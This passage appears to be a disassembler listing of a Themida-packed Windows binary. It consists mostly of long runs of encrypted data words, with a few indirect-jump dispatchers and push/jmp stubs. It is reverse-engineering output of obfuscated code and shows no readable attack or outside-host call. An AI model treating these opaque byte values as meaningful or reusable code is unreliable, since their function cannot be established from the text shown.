23BB4CE4h, 0E7FFB6D2h, 0C7B0F121h, 0F84A8C5Ah dd 22E86665h, 0DF7E2177h, 0E8E56A77h, 413A3D9Bh, 6B2E43DCh dd 35FE6FC6h, 0C0460F2Eh, 5CFC3D5Fh, 0EE3C15h, 1B3BFE9Fh dd 0E7D0C956h, 8F4EEEB1h, 0CC7EA3EEh, 0C3B67BC8h, 87952CFh dd 96342D64h, 1DDADE68h, 6EA8AF58h, 0D64D690Dh, 2C8C65B8h dd 2D29A3BFh, 692A2D85h, 9EC06FC9h, 228B4ED3h, 77913F81h dd 0AF588433h, 1D82CF70h, 0C751FA0Ch, 59F53458h, 79E7231Ch dd 21C431FFh, 0DABE70Ch, 204283A2h, 2F2F746Dh, 0AF5805E8h dd 7C8E3452h, 0AF58063Ch, 108B2D06h, 0F997838Fh, 7F7612DFh dd 8000000h, 66CB86A7h, 0F8D19CBDh, 1280B8C2h, 0E942AF58h dd 5CFF644Fh, 484E8815h, 5BAF57D7h, 732C7138h, 9B179CD5h dd 7AF4832Ch, 0CAA6B47Dh, 2D12DFD6h, 1, 0DA52FFF6h, 0EB135AF9h dd 0AF57D6AFh, 0D71317B1h, 46F1AF57h, 6DB2AB84h, 55DA9FB4h dd 0C602A6CCh, 0D624B4F0h, 0A0821152h, 5B1ABC56h, 0C5324462h dd 19CBB563h, 0E4F906Ah, 0BF16200Fh, 0B22B8A79h, 45EAF1h dd 337A19BAh, 59BAC8F7h, 78277134h, 8C159AD7h, 0BA7DA2E7h dd 0E3CC9011h, 1AE0A4Fh, 36992D60h, 2A85E17h, 57D6C0F8h dd 38A982AFh, 0C3D45910h, 0B2DF655h, 0E17BDD42h, 81175EFEh dd 99C7892Ah, 57D72B6Fh, 0FA3E19AFh, 0DFD4B23Eh, 7D12FD12h dd 6A42F038h, 0E5000000h, 0F7135EFFh, 0F622670Ch, 2DEC8C15h dd 0C06D460Fh, 7537F86Dh, 5F9B1FE3h, 45D3D644h, 0DA7CB9DAh dd 0C768BE97h, 0DD46EBA6h, 0F6AFF4B1h, 0B8FD9154h, 0ADC162CFh dd 2F844BE8h, 0C2A9F786h, 94955161h, 43B012DFh, 4A000000h dd 219E9A2Ch, 0CB64AF58h, 5EFF466Dh, 77158E13h, 0D4DFF13Eh dd 6E23444Bh, 0BDD132D8h, 3662BBF8h, 3959BAEDh, 0BAFE2F74h dd 0F49558F5h, 9B63C0B9h, 0AF57D79Ch, 2A2889EEh, 12DFD63Eh dd 1D9h, 59FF6200h, 73129310h, 2872F53Ah, 4CECA5C7h, 21474ED7h dd 0CB69D268h, 0CB694A70h, 0A6CC1682h, 0D357A354h, 0F65708C8h dd 86971C59h, 0F175D412h, 294FB5FFh, 0FFF19B9Fh, 18CE69B5h dd 0FFF0AAEEh, 0C6BF98B5h, 0ECA5C859h, 2E4FB05Eh, 0CB6A3563h dd 0DBDD1D82h, 0C8B5FFF0h, 0DB44E9A0h, 0A8AFF4BDh, 5D13A203h dd 2083CD56h, 3DE23673h, 35D3571Eh, 0BFE4A9CAh, 0C665CA6Eh dd 0E281228Fh, 2A8306ABh, 22E38289h, 0CA50490Ch, 4444862Ch dd 3EB5FFF1h, 5357F115h, 31B5FFF1h, 2A069206h, 0E51477CCh dd 0FD0D0DBFh, 5CF7B5FFh, 0FD1C1CAEh, 4DE6B5FFh, 13629EBh dd 0E7F20000h, 0B2D80EB5h, 57D71008h, 0DF59F2AFh, 6404EF15h dd 5F97802Dh, 83D32AA3h, 408612BAh, 0B6006301h, 5ACB68C3h dd 6B54723Bh, 11A87CAh, 0E3822D97h, 0F99C05AAh, 76AC73B0h dd 3A0ED8Dh, 8C158E2Ah, 1BAFE685h, 775AC7B3h, 632614h dd 0BAF90000h, 23753859h, 52883364h, 3C7C8E34h, 6AF57D7h dd 1D7D8B2Dh, 0E72F57D7h, 2367E74Ch, 802F57D7h, 327B1DDCh dd 5EC3BCEDh, 44E9A4C5h, 8872885h, 9D8C1582h, 7A65813Ch dd 1F0895D8h, 0D1295399h, 0B3AF57D6h, 8DAB6E10h, 554E5FC4h dd 9AC02E7Ch, 57D72860h, 99B91AAFh, 0D2BDFBD4h, 84h, 0EB5E7F5h dd 0ACFAED8h, 9AB5B600h, 0A0E98C15h, 5B9AB91Ah, 0FB2C7138h dd 7EA3EA8Ah, 73EF342Dh, 0E2EE390h, 0E8C16E47h, 0C7D8640h dd 0E2C9B600h, 0B31B3A41h, 739761E7h, 9D290289h, 9BB98A2Ah dd 9E773E5Ah, 0FB2F1811h, 0B07FD841h, 6581AABCh, 692DB7Ah dd 1059FCA5h, 0BE674C93h, 0F63254F2h, 0CCBCB07Fh, 0C2723563h dd 0F9274D79h, 0B0804B4Fh, 239F31BCh, 84D2F5DFh, 0B94FE942h dd 0C3603610h, 0E6CD59F2h, 0D80EB5E7h, 7F2F9AEh, 0BA60CBB6h dd 0F2AEEA1Ch, 0BB94B607h, 6F508E7Dh, 8E1187C2h, 0DA00A6EFh dd 8C1154F9h, 0F337739Bh, 220DB607h, 94E60CF6h, 8D35B145h dd 238C2C2Eh, 62E44900h, 0FC690F09h, 6FB4F99Ah, 355697B6h dd 9E23B78h, 1257FBA4h, 813E9C8Dh, 0A9029120h, 2B620108h dd 0F67E14FFh, 690F5454h, 2C052EFCh, 0B8029687h, 99DC7152h dd 782DE214h, 0B4E1252Dh, 0B3D25DDBh, 46ECB5FAh, 725B9E03h dd 0C28BAAB1h, 0F1B8DB44h, 2044AFD5h, 2BD3C469h, 0FC690BEFh dd 4D3E7AD5h, 0DF4h, 59BAD700h, 0FE2F7439h, 73A5E08Dh dd 58FF78E3h, 70138C11h, 92BF439h, 2042E340h, 3E5FC06Dh dd 0D4752E73h, 0E78B1499h, 84A47DA2h, 92BF60CDh, 57FA4AD7h dd 0C781E789h, 4, 4B951h, 0CF290000h, 243C8759h, 0E789575Ch dd 4C781h, 0EF830000h, 243C8704h, 2434895Ch, 5D268h, 243C8900h dd 4D97B850h, 0B9513B24h, 10F437Dh, 0A399D3BEh, 59CE293Eh dd 5458C631h, 81243C8Bh, 4C4h, 4EC8100h, 89000000h, 8B82404h dd 1000000h, 583089F8h, 57243C8Bh, 0C781E789h, 4, 4C781h dd 3C870000h, 348B5C24h, 0E1895124h, 4C181h, 0C1830000h dd 240C8704h, 5C4CE95Ch, 4863FFF8h, 9017CF4Bh ; --------------------------------------------------------------------------- loc_5CBB88: ; CODE XREF: Themida_:loc_5CB5C9j mov eax, 6B020E2h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0Fh, 11h, 82h dd 195B5D75h, 92DBEB13h, 8ED6CC63h, 77697403h, 7504553h dd 0A740A82Dh, 5161503Eh, 0FF321B5Ah, 0D6CA604Ch, 0F9B3EA23h dd 5E0FB833h, 7A54353Fh, 0F4E65E0Ah, 99EA7968h, 8CBBBF3Fh dd 5AFDEB10h, 4FFCE67Ch, 0E1113A5Fh, 2585223Ah, 5F085765h dd 94EB3526h, 3F4BF355h, 9099AB58h, 0FFB7ED5Ah, 3C866659h dd 3F3D9626h, 3CB58E13h, 26E96Eh, 9E4A0000h, 74521C2Fh dd 6C6C416Ch, 7461636Fh, 61654865h, 70h, 14h, 3 dup(0) ; --------------------------------------------------------------------------- jmp loc_5CCE63 ; --------------------------------------------------------------------------- push 6B02417h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6B02540h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6B027DEh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6B028B3h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6B02C8Ah jmp loc_5517CE ; --------------------------------------------------------------------------- push 6B02D32h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6B02D71h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6B02E63h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6B02F50h jmp loc_5517CE ; --------------------------------------------------------------------------- push 6B02FEDh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6B0316Dh jmp loc_5517CE ; --------------------------------------------------------------------------- push 6B032B8h jmp loc_5517CE ; --------------------------------------------------------------------------- db 63h, 0C4h, 8Dh ; --------------------------------------------------------------------------- cmp [esi-3A914307h], edx mov ds:5FF35CEAh, eax sbb cl, [ebx+7CFB4F02h] cmp eax, 0ADF9B4D5h add ah, [eax+2Dh] cdq db 36h push ss pop edi retf ; --------------------------------------------------------------------------- db 68h dd 0AE3E8CC5h, 0F90E0ABCh, 0B6F4B607h, 155CFF89h, 3D741788h dd 0A50D2FF0h, 1C0F844Fh, 5DC2BB7Bh, 6970319Ah, 20690BCAh dd 15B1AA83h, 7F52C3h, 316722D8h, 0A47E84Bh, 397013BCh dd 41082BF4h, 57F11FC5h, 0AF58CB53h, 0ACE731h, 9BC4FCAAh dd 3B176A2h, 95F802B8h, 6FB60046h, 9BBD26C4h, 0DC5C4DD2h dd 45A7EF6Fh, 68C3B600h, 0BDDFCBC7h, 0C4161477h, 9EFE8680h dd 0A8CC3D48h, 2085B7E1h, 9E000000h, 0D80EB5E7h, 54FAEh dd 951A35B6h, 55155h, 1D866DB6h, 77F8211Dh, 0F4C414h, 0BA5F0000h dd 0DC95B31Ch, 57D6F632h, 5A5EE8AFh, 28AF57D7h, 0BBDCFF0Fh dd 149B1DF6h, 0C38EB071h, 0CF544D5Eh, 42783556h, 5B4C1B08h dd 3D5D9C46h, 0B2118770h, 961B52F1h, 83276E0Dh, 0E3357C20h dd 6E10F319h, 0BADFE23h, 585598FDh, 0C0C4EAFh, 503F4A43h dd 0B6D55ADEh, 40E8CBFFh, 0BA8ED81h, 0A3F43912h, 1248F75h dd 0F222EB48h, 0E06B9D49h, 0A2B600A4h, 0BB2C6101h, 0ACFAD396h dd 0E402B91Bh, 0E1F75BFBh, 737891DAh, 0A8812E07h, 53BCDA00h dd 0E4357A3Fh, 1C1EB2B4h, 4BE4BCABh, 5E13349Fh, 46C667C8h dd 0AB1C0404h, 7C55FEBCh, 619F884Ch, 0DAAB08ECh, 0F99h dd 0B20841E8h, 0ED397C11h, 0DB6F2642h, 0B9FDA78h, 7CCA87A8h dd 2F50C2F7h, 0DB7B2462h, 8DAF1096h, 0BEDD46C4h, 312BB3F7h dd 7FB9397h, 0C2B71B6h, 97135EFFh, 0A4C8092Ch, 7E5740EDh dd 0B5E70328h, 0A9ED80Eh, 61414881h, 749258D0h, 44C016E2h dd 781A7F5Ch, 913AE624h, 0BE48E0D9h, 0B6008A5Fh, 233AF701h dd 2E978F38h, 0D426448Ah, 0F8B739C7h, 3B7F8782h, 9B6006Ah dd 72E8352Eh, 7EBAF391h, 69ACE8h, 0C263C8B6h, 7745C4B0h dd 0AC10B14h, 8B654855h, 0B9F093F4h, 47F52374h, 0CCh, 5149F319h dd 33B60062h, 0CCA5EC90h, 5CFF476Ch, 14B2FB9Dh, 57D6B6F2h dd 0CAA38CAFh, 0D69BBC65h, 0DC648149h, 1C3FAF57h, 9427B155h dd 30BBC2FAh, 8E74DE5Ah, 0E4490425h, 9BBA65B3h, 68CC4DD2h dd 469537D3h, 3CB600C5h, 6A0CF713h, 5A1FA27h, 0C4C7C3h dd 692BDB6h, 12A90BBCh, 63ED52F4h, 79F3BCABh, 374F8C0Fh dd 0B9F10B81h, 8BBCAB6Bh, 0DF61B7A0h, 0CC6D5674h, 0F99A0581h dd 4FCA14B4h, 0E9CAEC61h, 0E7018h, 0D198BF00h, 45EA55h dd 367F19BAh, 66234FF0h, 93DE7F20h, 29E98817h, 5EC14508h dd 8A35713Ch, 0BC67A3EAh, 0D24AD099h, 0FBBAFE08h, 4288B607h dd 0EA1CBAE5h, 0AF57D6AEh, 0B27DBB94h, 0E54EDC91h, 9CBB0F46h dd 0AED85CFFh, 0AF57D76Ah, 9DD47758h, 352E0710h, 400D2E91h dd 3F59CAE3h, 0E0412276h, 54B6F4BDh, 0AF57D750h, 2D793053h dd 5AAE382h, 73B0F99Ch, 52DF96B2h, 0B5FAB3D1h, 930247ECh dd 97FA793Ah, 0CF6E753Eh, 0B8940086h, 5F12DFD6h, 0D4h dd 0EB5E7E0h, 0FD43AED8h, 0BA25B5FFh, 904ED39Ah, 0FFFD3276h dd 4E2710B5h, 0A60B24EAh, 7E3B57B8h, 0FCE82C3Ah, 99BBB5FFh dd 0B2D253D0h, 6EDFB6FBh, 1EA36C5h, 14B6DCA0h, 0B5FFFD14h dd 47D345EEh, 1477F46Bh, 8BB2h, 9C2E5400h, 0B600059Ch dd 406BCD66h, 0AEEA1CBAh, 94AF57D6h, 0ACEB7DBBh, 0EFAF57D6h dd 0B6D0F64Dh, 0B5FFE3FFh, 73DC6AC5h, 89129FD2h, 0E06A902Bh dd 49E6BE0h, 0AE6372DCh, 396AF8F2h, 345AF09h, 0BCA8DC08h dd 6AD551FAh, 0C01E83CAh, 0DF089FB6h, 0C270D459h, 1D3DAE87h dd 5EDAD350h, 91316BC9h, 5FEEC1A8h, 3177416Ch, 0F8D16842h dd 0A6A1DB0Fh, 0B8C35194h, 0BC52BE3Eh, 0C9FBFDFh, 9153AB64h dd 46882015h, 0B2D659EDh, 0F1000009h, 0D80EB5E7h, 0DFC6C89Eh dd 7DAEF3BEh, 8F96F065h, 8EB9C329h, 50B60083h, 8398902Ah dd 496AB600h, 0EC3D622Bh, 389BA5F3h, 0C6D75C15h, 968FC665h dd 82C5C109h, 0BCDEB600h, 0E93DA79h, 26FF241Dh, 0AEE24F06h dd 53DD5CC5h, 4F3B37F8h, 0AE14777Eh, 0Dh, 0D75EA671h, 7CCDAF57h dd 0FFFFFBC5h, 7D30BA5Fh, 73EFD69h, 86CB6CDDh, 1FA80019h dd 96E006BDh, 24480A0Ah, 0FF65B357h, 0BDB64Dh, 7EA38CB6h dd 0BDB8FCh, 0A50ED4B6h, 0F06BCD88h, 3537232Fh, 78D61477h dd 0A8000005h, 0C16E2B47h, 0C6A7E325h, 0B29DB600h, 0BA545FD9h dd 27713459h, 0C92AB686h, 81CC6EAFh, 8D120B1Ch, 298B1C9Ch dd 0A7D27492h, 9DB5FFECh, 7C55183Ah, 0B994E60Ch, 377395EBh dd 0DB60002h, 8336A822h, 0F57A8524h, 4F389F99h, 7EF61FE9h dd 7B55FC5h, 0FFE00EBCh, 918A1752h, 8E5AC107h, 0EE28666Dh dd 19ED5D6Dh, 1BCFB84Fh, 59DF9AB8h, 48F321EAh, 79D6892h dd 0CC676D19h, 0DF96B51Eh, 65A4C82Bh, 0C918AC3h, 0C9379D1Bh dd 0AD0B42E6h, 0FE2A6302h, 3BF3B41Ah, 0D2FC4566h, 2100000Bh dd 58FB4F06h, 87287E3Bh, 0B112A8E1h, 0E142D89Dh, 32B90D40h dd 0BFF2937Fh, 0EBA6C86Bh, 1950F45Fh, 4A03228Dh, 48F268FCh dd 0B607FE50h, 0FF4FF432h, 0F88155Ch, 56F016ADh, 0B6000427h dd 2B94321Dh, 59FA4009h, 6B54723Bh, 0BB2880C9h, 477B3h dd 143175B6h, 0CA6AB600h, 54335571h, 2EBCA814h, 565E9805h dd 72BCA814h, 2E1A1899h, 0E11F8FEBh, 30F84297h, 54C42935h dd 2DA6h, 0B5E77900h, 0EBAED80Eh, 0D9B60004h, 201954F6h dd 8F396783h, 0B600058Bh, 7F365679h, 0DA00F932h, 568A0h dd 0A7F15AB6h, 15D8h, 0B5E7F300h, 3BAED80Eh, 9B60009h dd 7A65812Eh, 1A1390D5h, 5CFF959Eh, 86CCD8F4h, 0D1CA3A2Bh dd 0B408CB37h, 1DE6C5F9h, 0AFDh, 26642D4Ch, 1195D07Dh dd 47C38AAEh, 0B7F3B6DCh, 0E0266B0Ch, 9BBC561Bh, 4FEF50D6h dd 791B8402h, 2A49EA30h, 0A5472763h, 7FF2763h, 70DF1DB6h dd 0B9C3B5E7h, 0AF57D781h, 0CBFFE843h, 0FFF6BAB1h, 2AF88B5h dd 9D0682A1h, 3E6FB4F1h, 0FFF79494h, 0ECC56EB5h, 0F00AB05Eh dd 0B5FFF6B8h, 0F71C1CAEh, 4DE6B5FFh, 0C00692BDh, 0DD4B3145h dd 4DE2D546h, 7A51FE08h, 11F18201h, 22648238h, 0DD4AFBE6h dd 491C92DCh, 0C045315Ah, 40FB41D7h, 9B357ECh, 0E3F3D9E2h dd 355377A0h, 0F3DA9793h, 8C26DE3h, 52E0630h, 0A7049448h dd 961451FEh, 91DD8735h, 0FB5AC149h, 9DE0FE18h, 5076C145h dd 771810AAh, 41EAE3F4h, 6D08B268h, 57EA9C77h, 6FB7B7FCh dd 34EA9C77h, 4DD65B1Eh, 24BE92Ch, 68458429h, 3E848C7h dd 72A490A2h, 886B299Bh, 0CF0DABE6h, 176h, 0EB5E750h, 3251B2D8h dd 0B3E5367Bh, 0FFF6B6B5h, 7A38CB5h, 0B5329FD9h, 51ECC220h dd 171A9h, 0B0F853B6h, 0F23352D3h, 85961B52h, 5AA81C4Dh dd 0F5EEFF4Fh, 7014BB1h, 0C0A077EAh, 1736F93Fh, 8E09D15Eh dd 27DD4B67h, 0F0B9DCC7h, 0B1D7C1E6h, 63B54D26h, 7D202788h dd 0E208F634h, 4BA06058h, 0AF0922DDh, 0F6145D00h, 31CC4164h dd 71A7F918h, 2ECD4892h, 23880496h, 91D87B82h, 238BAA15h dd 80A861AAh, 0F9261FB2h, 24E1826Dh, 0C8E14E03h, 99912BDFh dd 6B04963Bh, 7CDF68C0h, 0C3E721C5h, 8104963Bh, 5B71096h dd 0D05D1836h, 8E38EEC7h, 0B3E620Fh, 4CD55AF5h, 79DA6029h dd 0D00E93DAh, 9D024FEFh, 0F6DA2C8Ch, 0F30B3E61h, 0AC1759DAh dd 0C768C089h, 19A80CA4h, 1DD59CBFh, 9B0CF76Dh, 3D6EB3F6h dd 0B718C644h, 885EDA97h, 7F922F32h, 3C7C8E34h, 67F922Fh dd 9B3C8B2Dh, 1A399A20h, 0AFF4BDDBh, 7E61857Eh, 523772DAh dd 0E9414A27h, 1FCBB8F0h, 0AC5357F1h dd 0E7317F92h, 0B4F60388h, 0CE6A43F1h, 0D9A2B038h, 0CB54C105h dd 3F60A1C4h, 3FC2D72h, 0B8791C87h, 9D2FDB96h, 5D9A39Dh dd 4ED3CC67h, 3C5C6FCDh, 6FF2875h, 800BAE0h, 0FA05D9A3h dd 0EB1DC751h, 0C81D1CCh, 86099DB6h, 6Ah, 74B91660h, 0A9C90AB9h dd 23CFCB7Dh, 9AB50C81h, 30BA151Eh, 7DC68898h, 87AB1CAAh dd 63D156C2h, 8C652C50h, 706D2C5Eh, 0FC57B600h, 0E621ABB7h dd 76F2940Eh, 5E34BF60h, 0D8593984h, 0E7A2CF50h, 0F5BCE0C3h dd 53397FA8h, 65284AB5h, 5F8B0533h, 1059FCE7h, 0D8AC0F98h dd 8E6AAEh, 6FF58B6h, 8E6AA6E0h, 0FF58B600h, 5CFFA483h dd 314BF115h, 0AF57D6F9h, 0D44E8CBh, 1A9E77A0h, 0CF694AB0h dd 4D266F0Eh, 43F85CEBh, 0DE7665A7h, 0E34CB5FFh, 0E3E9B5C7h dd 0DB135E00h, 15B7FDDBh, 0B5FFF015h, 936B44EFh, 8D81E3D1h dd 668C2C5Fh, 1096DF7Dh, 26C48DAFh, 0E8406AD4h, 43D5DF46h dd 83F527E0h, 0EE337E20h, 0E1515BDh, 44EFB600h, 0E20DBF6Bh dd 0A0BCA83Ah, 93355377h, 0BCA83B97h, 0F556C26Dh, 0A84B3175h dd 0F9CA6ABCh, 893D165Fh, 4AE1D963h, 88A3BCA8h, 339C3A20h dd 87805A1Fh, 2A12F703h, 16F177A1h, 0ECC350C3h, 181CDE43h dd 0B4C350C3h, 684456DFh, 0A701273Ah, 0CD52173Ch, 34BE5CDCh dd 81000000h, 0D80EB5E7h, 0E02738B2h, 781BFA57h, 1AD4E145h dd 6A9C05C2h, 0AF57E82Eh, 0D6423B14h, 159910h, 63C06BB6h dd 23E2h, 80F20400h, 0F933FEB9h, 0E74D56C2h, 0AED80EB5h dd 0B600093Bh, 65812E09h, 4772DA7Ah, 0E7D0373Fh, 0F922766Fh dd 0F3155CFFh, 0F9B4E409h, 26D3AC0Fh, 75000007h, 0A40F9BD2h dd 0D37CCA8Fh, 5AEFCB5h, 359E2C69h, 46CD5914h, 0F3BEDF33h dd 276A0CB7h, 551C40E3h, 86CF6ED1h, 446A400h, 0B6080304h dd 193B8FEh, 0E65DFF20h, 0ED5386C0h, 0AA15B5FFh, 0C35CC184h dd 0B8F0E9A0h, 0BD4BBD96h, 7846C7BDh, 531E40A3h, 0A4D242C5h dd 46C82662h, 5A331C78h, 0F3012AACh, 0A3B91471h, 525DEF75h dd 307EEE66h, 3A0E98Fh, 2A95312Ah, 76D5430Ah, 0D77107B5h dd 7EEE65D3h, 79AD86B1h, 96A08ACFh, 34577885h, 7D66847Dh dd 907397DEh, 8E74A4EDh, 994F0625h, 23761B2Dh, 7E338C2Fh dd 0CD000006h, 0FCA7E3AAh, 2B941257h, 5DC6440Dh, 8D367431h dd 9E65A1ECh, 5B1637DBh, 8FC264CFh, 0BDF4983Bh, 0EEA7C669h dd 0EC1ECC58h, 0B60803ACh, 0FFEB5096h, 0EDF3155Ch, 23F9B4E3h dd 63F3F80h, 0EB8E0000h, 96BB64A2h, 4CEC57D3h, 701E8105h dd 2D4EF135h, 1C5DDA60h, 821855F6h, 0FE4C0121h, 287E3755h dd 19ADE487h, 0ED2D5F8Dh, 0D7B60803h, 5CFFAA91h, 6E0EF115h dd 0A29FA27h, 0D4CDDE43h, 0F626E744h, 346F994Dh, 2AB607F9h dd 0B3E5A8C9h, 44092A8Dh, 0C86CDF6Bh, 83295773h, 7F94179h dd 802803B6h, 0B02CDB46h, 218EA9BCh, 0B02CDDD9h, 9112F9BCh dd 940E4CFh, 0C0CBEA4h, 0F6BCB02Dh, 6034645Dh, 1F878474h dd 5F3331BBh, 0DCFBC523h, 0A819F2B7h, 0AD6FC980h, 93h dd 662B4CB7h, 6348E039h, 5CF02101h, 52B9C3E7h, 30B5FFEDh dd 3967A107h, 728506FFh, 3B4D79C2h, 8BAF0E90h, 0D354D972h dd 862CDA61h, 0AF0E4444h, 0F1153E8Bh, 0AF0E5357h, 9206318Bh dd 77673E48h, 0F25D925Ah, 148EBD4h, 327B1A85h, 0B2440496h dd 0D6AF0C16h, 54Dh, 76B4FD9Ch, 0A1E5A0CDh, 97135AFEh dd 0C743062Ch, 30763B5Ch, 6B0C06ABh, 1F3FE026h, 0C96BD452h dd 0FA993A80h, 75F777B3h, 804D7D3h, 0C06FADB6h, 0E8DFh dd 0B7D83B00h, 0BA75BEFAh, 27713459h, 5377CC60h, 7F8EA29h dd 14B2D8B6h, 7F8B6F2h, 1BA38CB6h, 0B607F91Fh, 0ADE484h dd 627CD717h, 64C00A92h, 0EC1AF35Ch, 0AAEE1846h, 98B60890h dd 911317BFh, 46F1B608h, 84A708D2h, 99B619CDh, 8C4657DCh dd 0F2EE1670h, 0AD178120h, 0FC2A6302h, 0E976697Ah, 128676F7h dd 1E44E8B1h, 8190DDE2h, 832710DEh, 8D8D3F65h, 77B6080Fh dd 86CB6BDCh, 3E39D412h, 200BBCB0h, 219A3A83h, 30751A85h dd 0F47EBAF3h, 5DF40C4Eh, 0D9D23A62h, 1B9F9B2Dh, 0CA65BCB0h dd 24A5986Eh, 3C9FC358h, 0DBCC5118h, 96AEC6E2h, 0C1E2E5B4h dd 46040h, 0C188AF00h, 0F0B5DA45h, 266F09AAh, 56133FE0h dd 83CE6FD0h, 19F9B807h, 4EF13578h, 7A25612Ch, 0AC1793DAh dd 0E27AC089h, 5CACE78h, 72B8B608h, 0D762A6D5h, 1C18AF57h dd 0C2AF57D7h, 730C52A4h, 68C4C94Ah, 58296AAEh, 0E7FF58AFh dd 0AEACDFAEh, 5CEB4D90h, 79A743F8h, 41582AFFh, 0D7C06D20h dd 110B821Fh, 4524187h, 0C214B608h, 5FF379DCh, 27FDC01Ah dd 440D2B9Ch, 0A46ACEDFh, 9238268Bh, 8C53068h, 0A13912B6h dd 0C665A0F5h, 5CC35515h, 36487039h, 56F304E3h, 3C3EC55h dd 77120000h, 2A47E83Eh, 0D078DB6Fh, 8CA20D99h, 0B1D27DC9h dd 9021AEFCh, 1EACE182h, 42D895B5h, 0BC0A43E1h, 0ED397013h dd 6159E379h, 23B60806h, 5CFF3EE5h, 0AD0F8815h, 2C4AF016h dd 57D79E9Ah, 6DCB64AFh, 8189Bh, 0C541EAB6h, 6B121A03h dd 0A5E88912h, 589DBE61h, 19867F3Ah, 690C3F90h, 59933720h dd 5AFFB17Fh, 0D5BFF945h, 0D85CFFEEh, 57D76AAEh, 6FF58AFh dd 2C650899h, 0F98F2D9Eh, 57D74B4Fh, 0AD1E39AFh, 33D7C08Dh dd 0FFF66689h, 0AEF35CB5h, 0FFF668ACh, 6AF04B5h, 77CD18F4h dd 29FF14h, 0E7400000h, 0AED80EB5h, 0B600054Fh, 2E80C711h dd 785DD9FEh, 0F8250E30h, 90367Eh, 38F952B6h, 776F4E3Ah dd 103A914h, 0BA720000h, 22763F59h, 7D1FDE7Dh, 0D74B4FF9h dd 1E39AF57h, 0B6AFF825h, 1797B869h, 57D6B5F5h, 0DF698FAFh dd 0AF57D6DBh, 0BC958EA9h, 0C68FAE77h, 0D228D59h, 1C3FE048h dd 0C82BD155h, 9B47ECA5h, 57D72961h, 47301BAFh, 0DBEE17D1h dd 96B5AF57h, 5EF33657h, 0AC85961Bh, 96B51607h, 605952DFh dd 1BDA79DAh, 0DB583178h, 0AD59E252h, 0FFEBF01Bh, 57F1D2B5h dd 1E81251Eh, 12F8307Dh, 0FC3C4EF4h, 0C6B5FFEBh, 0A00D48E5h dd 29449E77h, 50F22985h, 3C901781h, 0F926630Fh, 0E913B7A0h dd 0BCAB3DC0h, 927DA982h, 0C56EBCF1h, 893FE9A4h, 17EC617Eh dd 2432B94h, 0F7920000h, 0AAC768BEh, 50F85BEFh, 0C228D19h dd 3152FD49h, 10A12E7Ch, 9E2C6102h, 0C2581535h, 3C8AC361h dd 6DB9F093h, 0E1D963F9h, 0A3B60807h, 5EFFBE65h, 6C0CF713h dd 9AFF825h, 8D3F6583h, 0AF57D78Dh, 0D35CDC77h, 0E2CDF9B0h dd 23A90F46h, 0EB5E704h, 54FAED8h, 1A35B600h, 0A72F6AECh dd 6A60CB2Fh, 77815DCEh, 2D315E41h, 9A6CCCEEh, 0B5FFFF9Ah dd 88D45D36h, 0E24F0A27h, 0DFCB6FC9h, 3E1477FEh, 103h dd 0F0B9DFC0h, 69097AB3h, 0AAEFF24h, 155CFF21h, 0DA761788h dd 9ADABF9Ch, 9A4039F3h, 0F9CECA7Ch, 9BB4AF57h, 4CB30E43h dd 0FB3DE49Eh, 0DA5CE08h, 5FFEAF58h, 0C2F9016h, 0A102D845h dd 0DD6ACE87h, 8F50257Fh, 28AA2A0Eh, 738B78ECh, 312AD28Bh dd 21CA4395h, 0FEC5A488h, 58284C4Ch, 241D36AFh, 9AC06EF4h dd 27CECA7Ch, 9BB4AF58h, 58283773h, 0F6220DAFh, 380970h dd 0CA50FBB6h, 13B5C371h, 0B6003817h, 0BD6942EDh, 0AAD6BF0Bh dd 156785BCh, 2370E802h, 1008B25Ah, 0F2BCAB93h, 59BA6059h dd 8E317538h, 0C24941EDh, 0A2CA8B09h, 3364C98Ch, 0CD49805Ah dd 4163B209h, 3202B068h, 1192EC61h, 0F8B0h, 69204700h dd 98DD72DDh dd 0CE87A102h, 0FEBBD778h, 2B6607A8h, 0B161109Fh, 0E649DD90h dd 12BD0944h, 44EF3B72h, 4AD26821h, 9327690h, 0CA10B608h dd 9B5EFF6Dh, 316AB7FAh, 0C261C258h, 0FF103F8Bh, 1788155Ch dd 0F635DC74h, 3C5E9D25h, 0D044C743h, 0C711BF6Bh, 85A401Ch dd 2B6F9765h, 19AF5888h, 0D670FA3Eh, 0B608A9C7h, 940D92BDh dd 410830F1h, 34D2CBDCh, 0C105ADCBh, 0C058B1E3h, 88A10EE7h dd 0FD3B7617h, 0C089AC17h, 0D598B91Ah, 997AE043h, 0E167B1F4h dd 0D0A7D72Eh, 0CF79A747h, 0D0A7D6CBh, 0C3449EB9h, 0EF56B30Bh dd 57D8B3E5h, 26642D50h, 7397DE7Dh, 2BA3EE90h, 0B8C9F589h dd 72D147CAh, 5BD89DB1h, 43E0A5CAh, 0A60B42E2h, 2AA90AA3h dd 5E65CEE7h, 8F30763Fh, 0CA0B2DECh, 0A409E2ABh, 61F27B73h dd 0FC0F5D60h, 0A259E03h, 0 dd 713459BAh, 0BDBDFB2Ch, 1158FFC6h, 3970138Ch, 40092BF4h dd 6D2042E3h, 733E5FC0h, 99D4752Eh, 0A2E78B14h, 0CD84A47Dh dd 0D792BF60h, 2368FA4Ah, 89000007h, 89562414h, 4C681E6h dd 83000000h, 348704EEh, 34895C24h, 7C106824h, 0C890000h dd 77916824h, 2C890000h, 229CBD24h, 0EE8906B0h, 3C62685Dh dd 24890000h, 24048124h, 4, 0B9515659h, 0B3F578Fh, 4244C29h dd 8418F59h, 8F084181h, 0FF0B3F57h, 81592434h, 4C4h, 2434FF00h dd 4C4815Eh, 0E9000000h, 0FFF8497Ah, 4F72BB40h, 428A4FA6h dd 0E3DA6F7Bh ; --------------------------------------------------------------------------- pop esp js short loc_5CCEAF ; CODE XREF: Themida_:005CCED7j loc_5CCE63: ; CODE XREF: Themida_:005CBC2Cj mov eax, 6B033D5h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 2E3A8285h, 6C432F87h, 5FE0B3DDh, 44A114A4h, 396D2386h dd 75ABC1CAh, 2B3ADFAh, 53DAA344h, 15E40B8Eh, 7089ECCFh dd 4297D690h, 77809E0h, 79AE4198h, 79EFDEDFh, 3D255224h dd 304DECC9h db 0Bh, 